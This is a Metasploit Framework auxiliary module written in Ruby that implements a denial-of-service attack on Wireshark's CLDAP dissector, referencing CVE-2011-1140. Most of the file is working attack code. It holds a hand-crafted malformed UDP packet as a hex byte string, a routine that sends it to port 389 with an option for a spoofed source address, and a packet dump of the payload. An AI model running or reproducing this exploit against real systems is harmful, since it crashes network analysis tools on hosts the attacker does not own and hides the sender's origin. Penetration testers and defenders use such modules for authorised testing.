Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::Udp

        include Msf::Auxiliary::Dos

        def initialize(info = {})

                super( update_info(info,

                        'Name'           => 'Wireshark CLDAP Dissector DOS',

                        'Description'    => %q{

                                This module causes infinite recursion to occur within the

                                CLDAP dissector by sending a specially crafted UDP packet.

                        },

                        'Author'         => ['joernchen <joernchen[at]phenoelit.de> (Phenoelit)'],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2011-1140'],

                                        [ 'OSVDB', '71552'],

                                        [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2011-04.html' ],

                                        [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5717' ],

                                ],

                        'DisclosureDate' => '2011-03-01'))

                register_options([

                        OptInt.new('RPORT', [true, 'The destination port', 389]),

                        OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])

                ], self.class)

        end

        def run

                connect_udp

                cldap_payload = "\x30\x81\xa2\x02\x01\x01\x64\x81\x9c\x04\x00\x30\x81\x97\x30\x81"+

                        "\x94\x04\x08\x6e\x65\x74\x6c\x6f\x67\x6f\x6e\x31\x81\x87\x04\x81"+

                        "\x84\x17\x00\x00\x00\xfd\x03\x00\x00\xda\xae\x52\xd0\x2f\xb4\xa9"+

                        "\x48\x8b\x16\x4e\xbc\x51\xf9\x60\xb4\xc0\x1a\xc0\x18\x0e\x63\x6f"+

                        "\x6e\x74\x61\x63\x74\x2d\x73\x61\x6d\x62\x61\x34\xc0\x18\x0a\x43"+

                        "\x4f\x4e\x54\x41\x43\x54\x44\x4f\x4d\x00\x10\x5c\x5c\x43\x4f\x4e"+

                        "\x54\x41\x43\x54\x2d\x53\x41\x4d\x42\x41\x34\x00\x00\x00\x00\xc0"+

                        "\x61\x05\x00\x00\x00\xff\xff\xff\xff\x30\x0c\x02\x01\x01\x65\x07"+

                        "\x0a\x01\x00\x04\x00\x04\x00"

                print_status("Sending malformed CLDAP packet to #{rhost}")

                udp_sock.put(cldap_payload)

        end

end

=begin

Packet Dump:

        0000050: b054 3081 a202 0101 6481 9c04 0030 8197  .T0.....d....0..

        0000060: 3081 9404 086e 6574 6c6f 676f 6e31 8187  0....netlogon1..

        0000070: 0481 8417 0000 00fd 0300 00da ae52 d02f  .............R./

        0000080: b4a9 488b 164e bc51 f960 b4c0 1ac0 180e  ..H..N.Q.`......

        0000090: 636f 6e74 6163 742d 7361 6d62 6134 c018  contact-samba4..

        00000a0: 0a43 4f4e 5441 4354 444f 4d00 105c 5c43  .CONTACTDOM..\\C

        00000b0: 4f4e 5441 4354 2d53 414d 4241 3400 0000  ONTACT-SAMBA4...

        00000c0: 00c0 6105 0000 00ff ffff ff30 0c02 0101  ..a........0....

        00000d0: 6507 0a01 0004 0004 00                   e........

=end